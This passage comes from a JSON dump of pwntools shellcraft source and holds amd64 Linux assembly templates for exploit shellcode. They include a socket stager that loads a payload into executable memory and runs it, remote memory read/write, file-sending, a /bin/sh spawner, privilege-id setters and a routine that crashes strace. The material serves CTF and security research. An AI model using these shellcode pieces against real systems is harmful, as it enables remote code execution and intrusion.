    "content": "<%\n    from pwnlib.shellcraft.amd64.linux import loader\n    from pwnlib.shellcraft import common\n%>\n<%docstring>\nLoads a statically-linked ELF into memory and transfers control.\n\nSimilar to loader.asm but loads an appended ELF.\n\nArguments:\n    data(str): If a valid filename, the data is loaded from the named file.\n               Otherwise, this is treated as raw ELF data to append.\n               If ``None``, it is ignored.\n\nExample:\n\n    >>> payload = shellcraft.echo(b'Hello, world!\\n') + shellcraft.exit(0)\n    >>> payloadELF = ELF.from_assembly(payload)\n    >>> payloadELF.arch\n    'amd64'\n    >>> loader = shellcraft.loader_append(payloadELF.data)\n    >>> loaderELF = ELF.from_assembly(loader, vma=0, shared=True)\n    >>> loaderELF.process().recvall()\n    b'Hello, world!\\n'\n\n\n</%docstring>\n<%page args=\"data = None\"/>\n<%\nelf_data = common.label('elf_data')\nload = common.label('load')\n%>\n    jmp ${elf_data}\n${load}:\n    pop rax\n    ${loader('rax')}\n${elf_data}:\n    call ${load}\n%if data:\n<%\nimport os\n\nif b'\\x00' not in data and os.path.isfile(data):\n    with open(data, 'rb') as f:\n        data = f.read()\n%>\n    ${'.string \"%s\"' % ''.join('\\\\x%02x' % c for c in bytearray(data))}\n%endif\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/linux/membot.asm",
    "content": "<% from pwnlib.shellcraft import amd64 %>\n<% from pwnlib.shellcraft import common %>\n<%page args=\"readsock = 0, writesock = 1\"/>\n<%docstring>\nRead-write access to a remote process' memory.\n\nProvide a single pointer-width value to determine the operation to perform:\n\n- 0: Exit the loop\n- 1: Read data\n- 2: Write data\n</%docstring>\n<%\nstart   = common.label(\"start\")\nread    = common.label(\"read\")\nwrite   = common.label(\"write\")\ndone    = common.label(\"done\")\nbkpt    = common.label(\"bkpt\")\n%>\n\n${start}:\n    ${amd64.linux.readptr(readsock, 'rax')}\n    test rax, rax\n    jz ${done}\n    dec rax\n    test rax, rax\n    jz ${read}\n    dec rax\n    test rax, rax\n    jz ${write}\n    dec rax\n    test rax, rax\n    jz ${bkpt}\n    jmp ${done}\n\n${read}:\n    ${amd64.linux.readloop(readsock)}\n    jmp ${start}\n\n${write}:\n    ${amd64.linux.writeloop(readsock, writesock)}\n    jmp ${start}\n\n${bkpt}:\n    int3\n    jmp ${start}\n\n${done}:\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/linux/migrate_stack.asm",
    "content": "<% from pwnlib.shellcraft import amd64 %>\n<%page args=\"size=0x100000, fd=0\"/>\n<%docstring>Migrates to a new stack.</%docstring>\n\n    ${amd64.linux.mmap_rwx(size)}\n    ${amd64.mov('rsp', 'rax')}\n\n    add rsp, ${'%#x' % ((size * 3 // 4) & ~7)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/linux/mmap_rwx.asm",
    "content": "<% from pwnlib.shellcraft import amd64 %>\n<%page args=\"size = 0x1000, protection = 7, address = None\"/>\n<%docstring>Maps some memory</%docstring>\n<%\n    if address:\n        flags = 'MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED'\n    else:\n        flags = 'MAP_PRIVATE | MAP_ANONYMOUS'\n%>\n    ${amd64.linux.mmap(address, size, protection,flags, 0, 0)}\n\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/linux/read.asm",
    "content": "<% from pwnlib.shellcraft import amd64 %>\n<%page args=\"fd=0, buffer='rsp', count=8\"/>\n<%docstring>\nReads data from the file descriptor into the provided buffer.\nThis is a one-shot and does not fill the request.\n</%docstring>\n\n    ${amd64.linux.syscall('SYS_read', fd, buffer, count)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/linux/read_upto.asm",
    "content": "<% from pwnlib.shellcraft import amd64 %>\n<%page args=\"fd=0, buffer='rsp', sizereg='rdx'\"/>\n<%docstring>Reads up to N bytes 8 bytes into the specified register</%docstring>\n\n${amd64.linux.readptr(sizereg)}\n${amd64.linux.read(fd, buffer, sizereg)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/linux/readfile.asm",
    "content": "<% from pwnlib.shellcraft import amd64 %>\n<%page args=\"path, dst = 'rdi'\"/>\n<%docstring>\nArgs: [path, dst (imm/reg) = rdi ]\n    Opens the specified file path and sends its content to the specified file descriptor.\n</%docstring>\n    /* Save destination */\n    ${amd64.mov('r8', dst)}\n\n    ${amd64.pushstr(path)}\n\n    ${amd64.syscall('SYS_open', 'rsp', 'O_RDONLY')}\n\n    /* Save file descriptor for later */\n    ${amd64.mov('rbx', 'rax')}\n\n    ${amd64.syscall('SYS_fstat', 'rax', 'rsp')}\n\n    /* Get file size */\n    add rsp, 48\n    mov rdx, [rsp]\n\n    ${amd64.syscall('SYS_sendfile', 'r8', 'rbx', 0, 'rdx')}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/linux/readinto.asm",
    "content": "<% from pwnlib.shellcraft import amd64 %>\n<% from pwnlib.shellcraft import common %>\n<%page args=\"sock=0\"/>\n<%docstring>\nReads into a buffer of a size and location determined at runtime.\nWhen the shellcode is executing, it should send a pointer and\npointer-width size to determine the location and size of buffer.\n</%docstring>\n<%\nafter     = common.label(\"after\")\n%>\n\n    /* Read address / size tuples from fd ${sock}, and\n       then fill that buffer.  Loop as long as size is nonzero. */\n    ${amd64.linux.readptr(sock, 'rsi')}\n    push rsi\n    ${amd64.linux.readptr(sock, 'rdx')}\n    pop rsi\n    test rdx, rdx\n    jz ${after}\n    ${amd64.linux.readn(sock, 'rsi', 'rdx')}\n    ${after}:"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/linux/readloop.asm",
    "content": "<% from pwnlib.shellcraft import amd64 %>\n<% from pwnlib.shellcraft import common %>\n<%page args=\"sock=0\"/>\n<%docstring>\nReads into a buffer of a size and location determined at runtime.\nWhen the shellcode is executing, it should send a pointer and\npointer-width size to determine the location and size of buffer.\n</%docstring>\n<%\nafter     = common.label(\"after\")\nbefore    = common.label(\"before\")\n%>\n\n${before}:\n    /* Read address / size tuples from fd ${sock}, and\n       then fill that buffer.  Loop as long as size is nonzero. */\n    ${amd64.linux.readptr(sock, 'rsi')}\n    push rsi\n    ${amd64.linux.readptr(sock, 'rdx')}\n    pop rsi\n    test rdx, rdx\n    jz ${after}\n    ${amd64.linux.readn(sock, 'rsi', 'rdx')}\n    jmp ${before}\n${after}:"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/linux/readn.asm",
    "content": "<%\n    from pwnlib.shellcraft.amd64.linux import read\n    from pwnlib.shellcraft.amd64 import setregs\n    from pwnlib.shellcraft import common\n%>\n<%page args=\"fd, buf, nbytes\"/>\n<%docstring>\nReads exactly nbytes bytes from file descriptor fd into the buffer buf.\n\nArguments:\n    fd(int): fd\n    buf(void): buf\n    nbytes(size_t): nbytes\n</%docstring>\n<%\nreadn_loop = common.label('readn_loop')\n%>\n    ${setregs({'rsi': buf, 'rdx': nbytes})}\n${readn_loop}:\n    ${read(fd, 'rsi', 'rdx')}\n    add rsi, rax\n    sub rdx, rax\n    jnz ${readn_loop}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/linux/readptr.asm",
    "content": "<% from pwnlib.shellcraft import amd64 %>\n<%page args=\"fd=0, target_reg='rdx'\"/>\n<%docstring>Reads 8 bytes into the specified register</%docstring>\n\n    push 1\n    ${amd64.linux.read(fd, 'rsp', 8)}\n    pop ${target_reg}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/linux/recvsize.asm",
    "content": "<% from pwnlib.shellcraft import common %>\n<% from pwnlib.shellcraft.amd64 import linux %>\n<%docstring>\nRecives 4 bytes size field\nUseful in conjuncion with findpeer and stager\nArgs:\n    sock, the socket to read the payload from.\n    reg, the place to put the size (default ecx).\nLeaves socket in ebx\n</%docstring>\n<%page args=\"sock, reg='rcx'\"/>\n<%\n    recvsize = common.label(\"recvsize\")\n%>\n${recvsize}:\n    xor ${reg}, ${reg}\n    push ${reg}\n    ${linux.syscall('SYS_read', sock, 'rsp', 4)}\n    pop ${reg}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/linux/setregid.asm",
    "content": "<% from pwnlib.shellcraft import amd64 %>\n<%page args=\"gid = 'egid'\"/>\n<%docstring>\nArgs: [gid (imm/reg) = egid]\n    Sets the real and effective group id.\n</%docstring>\n\n% if gid == 'egid':\n    /*  getegid */\n    ${amd64.linux.syscall('SYS_getegid')}\n    ${amd64.mov('rdi', 'rax')}\n% else:\n    ${amd64.mov('rdi', gid)}\n% endif\n\n    ${amd64.linux.syscall('SYS_setregid', 'rdi', 'rdi')}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/linux/setresuid.asm",
    "content": "<% from pwnlib.shellcraft import common %>\n<% from pwnlib.shellcraft.amd64 import mov, linux %>\n<%page args=\"ruid=None, euid=None, suid=None\"/>\n<%docstring>\nArgs: [ruid = geteuid(), euid = ruid, suid = ruid]\n    Sets real, effective and saved user ids to given values\n</%docstring>\n\n%if ruid is None:\n${linux.geteuid()}\n<% ruid = 'eax' %>\n%endif\n<%\n if euid is None: euid = ruid\n if suid is None: suid = ruid\n%>\n\n${linux.syscalls.setresuid(ruid, euid, suid)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/linux/setreuid.asm",
    "content": "<% from pwnlib.shellcraft import amd64 %>\n<%page args=\"uid = 'euid'\"/>\n<%docstring>\nArgs: [uid (imm/reg) = euid]\n    Sets the real and effective user id.\n</%docstring>\n\n% if uid == 'euid':\n    /*  geteuid */\n    ${amd64.linux.syscall('SYS_geteuid')}\n    ${amd64.mov('rdi', 'rax')}\n% else:\n    ${amd64.mov('rdi', uid)}\n% endif\n\n    ${amd64.linux.syscall('SYS_setreuid', 'rdi', 'rdi')}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/linux/sh.asm",
    "content": "<% from pwnlib.shellcraft import amd64 %>\n<%docstring>\nExecute a different process.\n\n    >>> p = run_assembly(shellcraft.amd64.linux.sh())\n    >>> p.sendline(b'echo Hello')\n    >>> p.recv()\n    b'Hello\\n'\n\n</%docstring>\n${amd64.linux.execve('/bin///sh', ['sh'], 0)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/linux/socket.asm",
    "content": "<% from pwnlib.shellcraft import amd64 %>\n<% from pwnlib.util.net import sockaddr %>\n<% from pwnlib.constants import SOCK_STREAM, SOCK_DGRAM, SYS_socket %>\n<%page args=\"network = 'ipv4', proto = 'tcp'\"/>\n<%docstring>\nCreates a new socket\n</%docstring>\n<%\n    if network == 'ipv4':\n        sockaddr, length, address_family = sockaddr('127.0.0.1', 1, network)\n    elif network == 'ipv6':\n        sockaddr, length, address_family = sockaddr('::1', 1, network)\n    socktype = {\n        'tcp': SOCK_STREAM,\n        'udp': SOCK_DGRAM\n    }.get(proto, proto)\n%>\\\n    /* open new socket */\n    ${amd64.linux.syscall(SYS_socket, address_family, socktype, 0)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/linux/stage.asm",
    "content": "<%\nfrom pwnlib.shellcraft.amd64 import push\nfrom pwnlib.shellcraft.amd64.linux import read, readn, mmap\nfrom pwnlib import constants as C\n%>\n<%page args=\"fd=0, length=None\"/>\n<%docstring>\nMigrates shellcode to a new buffer.\n\nArguments:\n    fd(int):\n        Integer file descriptor to recv data from.\n        Default is stdin (0).\n    length(int):\n        Optional buffer length.  If None, the first pointer-width\n        of data received is the length.\n\nExample:\n\n    >>> p = run_assembly(shellcraft.stage())\n    >>> sc = asm(shellcraft.echo(\"Hello\\n\", constants.STDOUT_FILENO))\n    >>> p.pack(len(sc))\n    >>> p.send(sc)\n    >>> p.recvline()\n    b'Hello\\n'\n</%docstring>\n<%\n    protection = C.PROT_READ | C.PROT_WRITE | C.PROT_EXEC\n    flags      = C.MAP_ANONYMOUS | C.MAP_PRIVATE\n\n    assert isinstance(fd, int)\n%>\n%if length is None:\n    /* How many bytes should we receive? */\n    ${read(fd, 'rsp', 8)}\n    pop  rax\n    push rax /* Save exact size */\n%else:\n    ${push(length)}\n%endif\n\n    /* Page-align, assume <4GB */\n    shr  eax, 12\n    inc  eax\n    shl  eax, 12\n\n    /* Map it */\n    ${mmap(0, 'rax', protection, flags, 0, 0)}\n\n    /* Grab the saved size, save the address */\n    pop  rbx\n    push rax\n\n    /* Read in all of the data */\n    ${readn(fd, 'rax', 'rbx')}\n\n    /* Go to shellcode */\n    ret\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/linux/stager.asm",
    "content": "<% from pwnlib.shellcraft import common %>\n<% from pwnlib.shellcraft import amd64 %>\n<%docstring>\nRecives a fixed sized payload into a mmaped buffer\nUseful in conjuncion with findpeer.\nAfter running the socket will be left in RDI.\nArgs:\n    sock, the socket to read the payload from.\n    size, the size of the payload\n</%docstring>\n<%page args=\"sock, size, handle_error=False\"/>\n<%\n    stager = common.label(\"stager\")\n    looplabel = common.label(\"read_loop\")\n    errlabel = common.label(\"error\")\n%>\n${stager}:\n    push ${sock}\n    push ${size}\n    ${amd64.linux.syscall('SYS_mmap', 0, size, 'PROT_EXEC | PROT_WRITE | PROT_READ', 'MAP_ANONYMOUS | MAP_PRIVATE', -1, 0)}\n    mov rsi, rax\n    pop rdx\n    pop rdi /* sock */\n    push rsi /* save for: pop eax; call eax later */\n\n/* read loop */\n${looplabel}:\n    ${amd64.linux.syscall('SYS_read', 'rdi', 'rsi', 'rdx')}\n% if handle_error:\n    test rax, rax\n    js ${errlabel}\n% endif\n    sub rdx, rax\n    add rsi, rax\n    test rdx, rdx\n    jne ${looplabel}\n\n    pop rsi /* start of mmaped buffer */\n    call rsi /* jump and hope for it to work */\n\n% if handle_error:\n${errlabel}:\n    hlt\n% endif\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/linux/strace_dos.asm",
    "content": "<%\nfrom pwnlib.constants import SYS_select\nfrom pwnlib.shellcraft.amd64.linux import syscall, write\nfrom pwnlib.shellcraft.amd64 import push, mov, pushstr\nfrom pwnlib.shellcraft import common\nfrom random import randint\n%>\n<%docstring>\nKills strace\n</%docstring>\n<%\nlarge_value = randint(0x10000000, 0xffffffff)\ndos_loop1 = common.label('dos_loop1')\ndos_loop2 = common.label('dos_loop2')\ncount     = 0x4000\nbig_val   = randint(0x10000000, 0x7fffffff)\n%>\n    push rbp\n    mov  rbp, rsp\n\n## Allocate a lot of stack space\n    ${mov('rcx', count)}\n${dos_loop1}:\n    push -1\n    sub  rcx, 1\n    test rcx, rcx\n    jnz ${dos_loop1}\n\n    mov byte ptr [rsp], 0xf8\n    ${syscall(SYS_select, big_val, 'rsp', 0, 0)}\n\n    ${mov('rcx', count)}\n${dos_loop2}:\n    pop  rax\n    sub  rcx, 1\n    test rcx, rcx\n    jnz ${dos_loop2}\n\n    mov rsp, rbp\n    pop rbp\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/linux/syscall.asm",
    "content": "<%\n  from pwnlib.shellcraft import amd64, pretty\n  from pwnlib.constants import Constant\n  from pwnlib.abi import linux_amd64_syscall as abi\n%>\n<%page args=\"syscall = None, arg0 = None, arg1 = None, arg2 = None, arg3 = None, arg4 = None, arg5 = None\"/>\n<%docstring>\nArgs: [syscall_number, \\*args]\n    Does a syscall\n\nAny of the arguments can be expressions to be evaluated by :func:`pwnlib.constants.eval`.\n\nExample:\n\n        >>> print(pwnlib.shellcraft.amd64.linux.syscall('SYS_execve', 1, 'rsp', 2, 0).rstrip())\n            /* call execve(1, 'rsp', 2, 0) */\n            xor r10d, r10d /* 0 */\n            push SYS_execve /* 0x3b */\n            pop rax\n            push 1\n            pop rdi\n            push 2\n            pop rdx\n            mov rsi, rsp\n            syscall\n        >>> print(pwnlib.shellcraft.amd64.linux.syscall('SYS_execve', 2, 1, 0, -1).rstrip())\n            /* call execve(2, 1, 0, -1) */\n            push -1\n            pop r10\n            push SYS_execve /* 0x3b */\n            pop rax\n            push 2\n            pop rdi\n            push 1\n            pop rsi\n            cdq /* rdx=0 */\n            syscall\n        >>> print(pwnlib.shellcraft.amd64.linux.syscall().rstrip())\n            /* call syscall() */\n            syscall\n        >>> print(pwnlib.shellcraft.amd64.linux.syscall('rax', 'rdi', 'rsi').rstrip())\n            /* call syscall('rax', 'rdi', 'rsi') */\n            /* setregs noop */\n            syscall\n        >>> print(pwnlib.shellcraft.amd64.linux.syscall('rbp', None, None, 1).rstrip())\n            /* call syscall('rbp', ?, ?, 1) */\n            mov rax, rbp\n            push 1\n            pop rdx\n            syscall\n        >>> print(pwnlib.shellcraft.amd64.linux.syscall(\n        ...               'SYS_mmap', 0, 0x1000,\n        ...               'PROT_READ | PROT_WRITE | PROT_EXEC',\n        ...               'MAP_PRIVATE | MAP_ANONYMOUS',\n        ...               -1, 0).rstrip())\n            /* call mmap(0, 0x1000, 'PROT_READ | PROT_WRITE | PROT_EXEC', 'MAP_PRIVATE | MAP_ANONYMOUS', -1, 0) */\n            push (MAP_PRIVATE | MAP_ANONYMOUS) /* 0x22 */\n            pop r10\n            push -1\n            pop r8\n            xor r9d, r9d /* 0 */\n            push SYS_mmap /* 9 */\n            pop rax\n            xor edi, edi /* 0 */\n            push (PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */\n            pop rdx\n            mov esi, 0x1010101 /* 4096 == 0x1000 */\n            xor esi, 0x1011101\n            syscall\n        >>> print(pwnlib.shellcraft.open('/home/pwn/flag').rstrip())\n            /* open(file='/home/pwn/flag', oflag=0, mode=0) */\n            /* push b'/home/pwn/flag\\x00' */\n            mov rax, 0x101010101010101\n            push rax\n            mov rax, 0x101010101010101 ^ 0x67616c662f6e\n            xor [rsp], rax\n            mov rax, 0x77702f656d6f682f\n            push rax\n            mov rdi, rsp\n            xor edx, edx /* 0 */\n            xor esi, esi /* 0 */\n            /* call open() */\n            push SYS_open /* 2 */\n            pop rax\n            syscall\n        >>> print(shellcraft.amd64.write(0, '*/', 2).rstrip())\n            /* write(fd=0, buf='\\x2a/', n=2) */\n            /* push b'\\x2a/\\x00' */\n            push 0x1010101 ^ 0x2f2a\n            xor dword ptr [rsp], 0x1010101\n            mov rsi, rsp\n            xor edi, edi /* 0 */\n            push 2\n            pop rdx\n            /* call write() */\n            push SYS_write /* 1 */\n            pop rax\n            syscall\n\n</%docstring>\n<%\n  append_cdq = False\n  if isinstance(syscall, (str, Constant)) and str(syscall).startswith('SYS_'):\n      syscall_repr = str(syscall)[4:] + \"(%s)\"\n      args = []\n  else:\n      syscall_repr = 'syscall(%s)'\n      if syscall is None:\n          args = ['?']\n      else:\n          args = [pretty(syscall, False)]\n\n  for arg in [arg0, arg1, arg2, arg3, arg4, arg5]:\n      if arg is None:\n          args.append('?')\n      else:\n          args.append(pretty(arg, False))\n  while args and args[-1] == '?':\n      args.pop()\n  syscall_repr = syscall_repr % ', '.join(args)\n\n  registers = abi.register_arguments\n  arguments = [syscall, arg0, arg1, arg2, arg3, arg4, arg5]\n  regctx    = dict(zip(registers, arguments))\n%>\\\n    /* call ${syscall_repr} */\n%if any(a is not None for a in arguments):\n    ${amd64.setregs(regctx)}\n%endif\n    syscall\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/linux/writeloop.asm",
    "content": "<% from pwnlib.shellcraft import amd64 %>\n<% from pwnlib.shellcraft import common %>\n<%page args=\"readsock=0, writesock=1\"/>\n<%docstring>\nReads from a buffer of a size and location determined at runtime.\nWhen the shellcode is executing, it should send a pointer and\npointer-width size to determine the location and size of buffer.\n</%docstring>\n<%\nafter     = common.label(\"after\")\nbefore    = common.label(\"before\")\n%>\n\n${before}:\n    /* Read address / size tuples from fd ${readsock}, and\n       then write the data to fd ${writesock} */\n    ${amd64.linux.readptr(readsock, 'rsi')}\n    push rsi\n    ${amd64.linux.readptr(readsock, 'rdx')}\n    pop rsi\n    test rdx, rdx\n    jz ${after}\n    ${amd64.linux.syscall('SYS_write', writesock, 'rsi', 'rdx')}\n    jmp ${before}\n${after}:"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/memcpy.asm",
    "content": "<% from pwnlib.shellcraft import amd64, pretty %>\n<%docstring>Copies memory.\n\nArgs:\n    dest: Destination address\n    src: Source address\n    n: Number of bytes\n</%docstring>\n<%page args=\"dest, src, n\"/>\n    /* memcpy(${pretty(dest)}, ${pretty(src)}, ${pretty(n)}) */\n    cld\n    ${amd64.setregs({'rdi': dest, 'rsi': src, 'rcx': n})}\n    rep movsb\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/mov.asm",
    "content": "<%\n  from pwnlib.util import lists, packing, fiddling, misc\n  from pwnlib.context import context as ctx # Ugly hack, mako will not let it be called context\n  from pwnlib.log import getLogger\n  from pwnlib.shellcraft import eval, pretty, okay\n  from pwnlib.shellcraft.registers import get_register, is_register, bits_required\n  log = getLogger('pwnlib.shellcraft.amd64.mov')\n%>\n<%page args=\"dest, src, stack_allowed = True\"/>\n<%docstring>\nMove src into dest without newlines and null bytes.\n\nIf the src is a register smaller than the dest, then it will be\nzero-extended to fit inside the larger register.\n\nIf the src is a register larger than the dest, then only some of the bits will\nbe used.\n\nIf src is a string that is not a register, then it will locally set\n`context.arch` to `'amd64'` and use :func:`pwnlib.constants.eval` to evaluate the\nstring. Note that this means that this shellcode can change behavior depending\non the value of `context.os`.\n\nExample:\n\n    >>> print(shellcraft.amd64.mov('eax','ebx').rstrip())\n        mov eax, ebx\n    >>> print(shellcraft.amd64.mov('eax', 0).rstrip())\n        xor eax, eax /* 0 */\n    >>> print(shellcraft.amd64.mov('ax', 0).rstrip())\n        xor ax, ax /* 0 */\n    >>> print(shellcraft.amd64.mov('rax', 0).rstrip())\n        xor eax, eax /* 0 */\n    >>> print(shellcraft.amd64.mov('rdi', 'ax').rstrip())\n        movzx edi, ax\n    >>> print(shellcraft.amd64.mov('al', 'ax').rstrip())\n        /* moving ax into al, but this is a no-op */\n    >>> print(shellcraft.amd64.mov('ax', 'bl').rstrip())\n        movzx ax, bl\n    >>> print(shellcraft.amd64.mov('eax', 1).rstrip())\n        push 1\n        pop rax\n    >>> print(shellcraft.amd64.mov('rax', 0xc0).rstrip())\n        xor eax, eax\n        mov al, 0xc0\n    >>> print(shellcraft.amd64.mov('rax', 0xc000).rstrip())\n        xor eax, eax\n        mov ah, 0xc000 >> 8\n    >>> print(shellcraft.amd64.mov('rax', 0xc0c0).rstrip())\n        xor eax, eax\n        mov ax, 0xc0c0\n    >>> print(shellcraft.amd64.mov('rdi', 0xff).rstrip())\n        xor edi, edi\n        mov dil, 0xff\n    >>> print(shellcraft.amd64.mov('rax', 0xdead00ff).rstrip())\n        mov eax, 0x1010101 /* 3735879935 == 0xdead00ff */\n        xor eax, 0xdfac01fe\n    >>> print(shellcraft.amd64.mov('rax', 0x11dead00ff).rstrip())\n        mov rax, 0x101010101010101 /* 76750323967 == 0x11dead00ff */\n        push rax\n        mov rax, 0x1010110dfac01fe\n        xor [rsp], rax\n        pop rax\n    >>> print(shellcraft.amd64.mov('rax', 0xffffffff).rstrip())\n        mov eax, 0xffffffff\n    >>> print(shellcraft.amd64.mov('rax', 0x7fffffff).rstrip())\n        mov eax, 0x7fffffff\n    >>> print(shellcraft.amd64.mov('rax', 0x80010101).rstrip())\n        mov eax, 0x80010101\n    >>> print(shellcraft.amd64.mov('rax', 0x80000000).rstrip())\n        mov eax, 0x1010101 /* 2147483648 == 0x80000000 */\n        xor eax, 0x81010101\n    >>> print(shellcraft.amd64.mov('rax', 0xffffffffffffffff).rstrip())\n        push 0xffffffffffffffff\n        pop rax\n    >>> with context.local(os = 'linux'):\n    ...     print(shellcraft.amd64.mov('eax', 'SYS_read').rstrip())\n        xor eax, eax /* SYS_read */\n    >>> with context.local(os = 'freebsd'):\n    ...     print(shellcraft.amd64.mov('eax', 'SYS_read').rstrip())\n        push SYS_read /* 3 */\n        pop rax\n    >>> with context.local(os = 'linux'):\n    ...     print(shellcraft.amd64.mov('eax', 'PROT_READ | PROT_WRITE | PROT_EXEC').rstrip())\n        push (PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */\n        pop rax\n\nArgs:\n  dest (str): The destination register.\n  src (str): Either the input register, or an immediate value.\n  stack_allowed (bool): Can the stack be used?\n</%docstring>\n<%\nif not get_register(dest):\n    log.error('%r is not a register' % dest)\n\ndest = get_register(dest)\n\nif get_register(src):\n    src = get_register(src)\n\n    if dest.size < src.size and src.name not in dest.bigger:\n        log.error(\"cannot mov %s, %s: dddest is smaller than src\" % (dest, src))\n\n    # Can't move between RAX and DIL for example.\n    if dest.rex_mode & src.rex_mode == 0:\n        log.error('The amd64 instruction set does not support moving from %s to %s' % (src, dest))\n\n    # Downgrade our register choice if possible.\n    # Opcodes for operating on 32-bit registers are always (?) shorter.\n    if dest.size == 64 and src.size <= 32:\n        dest = get_register(dest.native32)\n\nelse:\n    with ctx.local(arch = 'amd64'):\n        src = eval(src)\n\n    if not dest.fits(src):\n        log.error(\"cannot mov %s, %r: dest is smaller than src\" % (dest, src))\n\n    orig_dest = dest\n\n    if dest.size == 64 and bits_required(src) <= 32:\n        dest = get_register(dest.native32)\n\n    # Calculate the packed version\n    srcp = packing.pack(src & ((1<<dest.size)-1), dest.size)\n\n    # Calculate the unsigned and signed versions\n    srcu = packing.unpack(srcp, dest.size, sign=False)\n\n    # N.B.: We may have downsized the register for e.g. mov('rax', 0xffffffff)\n    #       In this case, srcp is now a 4-byte packed value, which will expand\n    #       to \"-1\", which isn't correct.\n    if orig_dest.size != dest.size:\n        srcs = src\n    else:\n        srcs = packing.unpack(srcp, dest.size, sign=True)\n\n%>\\\n% if is_register(src):\n    % if src == dest:\n    /* moving ${src} into ${dest}, but this is a no-op */\n    % elif src.name in dest.bigger:\n    /* moving ${src} into ${dest}, but this is a no-op */\n    % elif dest.size > src.size:\n    movzx ${dest}, ${src}\n    % else:\n    mov ${dest}, ${src}\n    % endif\n% elif isinstance(src, int):\n## Special case for zeroes\n## XORing the 32-bit register clears the high 32 bits as well\n    % if src == 0:\n        xor ${dest}, ${dest} /* ${src} */\n## Special case for *just* a newline\n    % elif stack_allowed and dest.size in (32,64) and src == 10:\n        push 9 /* mov ${dest}, '\\n' */\n        pop ${dest.native64}\n        inc ${dest}\n## It's smaller to PUSH and POP small sign-extended values\n## than to directly move them into various registers,\n##\n## 6aff58           push -1; pop rax\n## 48c7c0ffffffff   mov rax, -1\n    % elif stack_allowed and dest.size in (32,64) and (-2**7 <= srcs < 2**7) and okay(srcp[:1]):\n        push ${pretty(src)}\n        pop ${dest.native64}\n## Easy case, everybody is trivially happy\n## This implies that the register size and value are the same.\n    % elif okay(srcp):\n        mov ${dest}, ${pretty(src)}\n## We can push 32-bit values onto the stack and they are sign-extended.\n    % elif stack_allowed and dest.size in (32,64) and (-2**31 <= srcs < 2**31) and okay(srcp[:4]):\n        push ${pretty(src)}\n        pop ${dest.native64}\n## We can also leverage the sign-extension to our advantage.\n## For example, 0xdeadbeef is sign-extended to 0xffffffffdeadbeef.\n## Want EAX=0xdeadbeef, we don't care that RAX=0xfff...deadbeef.\n    % elif stack_allowed and dest.size == 32 and srcu < 2**32 and okay(srcp[:4]):\n        push ${pretty(src)}\n        pop ${dest.native64}\n## Target value is an 8-bit value, use a 8-bit mov\n    % elif srcu < 2**8 and okay(srcp[:1]) and 8 in dest.sizes:\n        xor ${dest.xor}, ${dest.xor}\n        mov ${dest.sizes[8]}, ${pretty(src)}\n## Target value is a 16-bit value with no data in the low 8 bits\n## means we can use the 'AH' style register.\n    % elif srcu == srcu & 0xff00 and okay(srcp[1:2]) and dest.ff00:\n        xor ${dest}, ${dest}\n        mov ${dest.ff00}, ${pretty(src)} >> 8\n## Target value is a 16-bit value, use a 16-bit mov\n    % elif srcu < 2**16 and okay(srcp[:2]):\n        xor ${dest.xor}, ${dest.xor}\n        mov ${dest.sizes[16]}, ${pretty(src)}\n## Target value is a 32-bit value, use a 32-bit mov.\n## Note that this is zero-extended rather than sign-extended (the 32-bit push above).\n    % elif srcu < 2**32 and okay(srcp[:4]):\n        mov ${dest.sizes[32]}, ${pretty(src)}\n## All else has failed.  Use some XOR magic to move things around.\n    % else:\n        <%\n        a,b = fiddling.xor_pair(srcp, avoid = b'\\x00\\n')\n        a = '%#x' % packing.unpack(a, dest.size)\n        b = '%#x' % packing.unpack(b, dest.size)\n        %>\\\n## There's no XOR REG, IMM64 but we can take the easy route\n## for smaller registers.\n        % if dest.size != 64:\n        mov ${dest}, ${a} /* ${str(src)} == ${\"%#x\" % (src)} */\n        xor ${dest}, ${b}\n## However, we can PUSH IMM64 and then perform the XOR that\n## way at the top of the stack.\n        % elif stack_allowed:\n        mov ${dest}, ${a} /* ${str(src)} == ${\"%#x\" % (src)} */\n        push ${dest}\n        mov ${dest}, ${b}\n        xor [rsp], ${dest}\n        pop ${dest}\n        % else:\n            <% log.error(\"Cannot put %s into '%s' without using stack.\" % (pretty(src), orig_dest)) %>\\\n        % endif\n    % endif\n% else:\n    <% log.error('%s is neither a register nor an immediate' % src) %>\\\n% endif\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/nop.asm",
    "content": "<%docstring>A single-byte nop instruction.</%docstring>\n    nop\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/popad.asm",
    "content": "<% from pwnlib.shellcraft import amd64 %>\n<%docstring>\nPop all of the registers onto the stack which i386 popad does,\nin the same order.\n</%docstring>\n    pop rdi\n    pop rsi\n    pop rbp\n    pop rbx /* add rsp, 8 */\n    pop rbx\n    pop rdx\n    pop rcx\n    pop rax\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/push.asm",
